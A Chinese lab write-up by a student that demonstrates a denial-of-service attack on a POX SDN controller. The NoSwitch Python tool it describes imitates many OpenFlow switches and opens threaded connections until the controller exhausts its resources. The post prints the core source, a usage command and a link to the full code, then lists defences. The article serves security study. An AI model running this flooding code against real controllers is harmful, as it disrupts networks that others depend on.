1 科普
1.1 什么是DoS?
DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。
DoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃。
1.2 SDN安全问题
2 原理
用python模拟Switch 向SDN 控制器发送连接请求并保持连接,以消耗控制器资源,最后使SDN控制器资源耗尽而停止响应。
3 实验环境
操作系统 : Win7_64(POX完全Python实现,Windows兼容良好,源码可直接运行)
Python 版本 :2.7
SDN Controller : POX
处理器:Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz 2.30GHz
内存:4GB
4 过程
首先将环境搭建好,下载POX源码;
NoSwitch 完整源码地址:https://github.com/lfzark/NoSwitch。
4.1 核心源码简析
1.处理发送数据包,使用struct.pack封装数据包头部再在尾部附加载荷。
1 2 3 4 5 6 7 8 9 |
def send_data(self,ofp_type,payload='',tid = 0): length = OF_HEADER_SIZE + len(payload) msg = struct.pack(OF_HEADER_FORMAT, OFP_VERSION, ofp_type, length, tid) msg += payload self.sock.send(msg) |
2.处理接收到的据包,对控制器发来的请求按照OpenFlow协议解析,返回请求类型和tid。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
def recv_data(self): ofp_type=0 header = self.sock.recv(OF_HEADER_SIZE) length=0 tid=0 while len(header) < OF_HEADER_SIZE: header += self.sock.recv(OF_HEADER_SIZE - len(header)) version, ofp_type, length, tid = struct.unpack( OF_HEADER_FORMAT, header) more_bytes = length - OF_HEADER_SIZE if more_bytes: payload = self.sock.recv(more_bytes) while len(payload) < more_bytes: payload += self.sock.recv(more_bytes - len(payload)) else: payload = '' return (ofp_type,tid) |
3. 处理请求 ,根据接收到的请求类型发送相应的应答数据包。
1 2 3 4 5 6 7 8 9 10 11 12 13 |
def handle_request(self,ofp_type,tid=0): if(ofp_type==OF_HELLO): logging.debug('OF_HELLO') elif(ofp_type==OF_FEATUERS_REQUEST): self.reply_features_request(OF_FEATURES_REPLY,tid) logging.debug('OF_FEATURES_REQUEST') elif(ofp_type==OF_SET_CONFIG): logging.debug('OF_SET_CONFIG') elif(ofp_type==OF_BARRIER_REQUEST): self.send_data(OF_BARRIER_REPLY,'',tid) logging.debug('OF_BARRIER_REQUEST') else: logging.debug('Unknown OF_Protocol Type : No = {0}'.format(ofp_type)) |
4.多线程。实现多线程连接请求,每个线程负责实例化一个NoSwitch类,向Controller发送请求并保持连接。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
def start_ns(host,port,thread_num): def run_ns(): ns=NoSwitch(host,port) while 1: ns.run() threads = [] for _ in range(thread_num): th = threading.Thread(target=run_ns) time.sleep(0.01) #太快了会报错 th.setDaemon(True) th.start() threads.append(th) for t in threads: t.join() print thread_num,'connection(s) completed' |
4.2 使用介绍
1 |
python NoSwitch.py -h [controller_address] -p [port] -n [count] |
controller_address 控制器地址
port 控制器端口号
count 连接次数
示例:
1 |
python NoSwitch.py -h 127.0.0.1 -p 6633 -n 1000 |
对地址为127.0.0.1端口为6633的控制器发送连接1000次
运行过程如下图所示:
5 防范措施
SDN作为一个以集中控制为核心的新型网络,单点的DoS安全成为了一个巨大的威胁,本文示范的例子可以使用认证等措施来避免非法连接,Early Detection of DDoS Attacks against SDN Controllers》[1]一文中使用入侵检测技术对DDoS进行提前检测,详情请参照[1],在此不再详述,利用发送认证请求的DDoS攻击也需要依靠防火墙、入侵检测、入侵容忍等安全技术来防范,DDoS的确是让人很头疼的一件事情。
6 小结
本文使用python模拟Switch向SDN控制器发送大量连接请求,已达到资源耗尽的目的,过程虽然很简单但是却提醒我们在控制集中的环境下安全问题成为了不可忽视的一环,根据《SDN Security: A Survey》[2]文中所述,SDN中的安全问题还有很多,本文只是很勉强地起了一个抛砖引玉的作用,例如控制器劫持,安全认证的穷举破解等传统安全问题在SDN上都可以相应实现,如有相关问题,欢迎一起交流讨论学习。 最后,祝大家学运昌盛。
引用:
[1]《Early Detection of DDoS Attacks against SDN Controllers》(Seyed Mohammad Mousavi and Marc StHilaire Department of Systems and Computer Engineering Carleton University, Ottawa, Canada)
[2]《SDN Security: A Survey》 (Sandra Scott-Hayward, Gemma O’Callaghan and Sakir SezerCentre for Secure Information Technolocy (CSIT)
作者简介:
李方洲,2014/09-至今,哈尔滨理工大学信息安全方向,主要研究SDN安全和高性能SDN架构。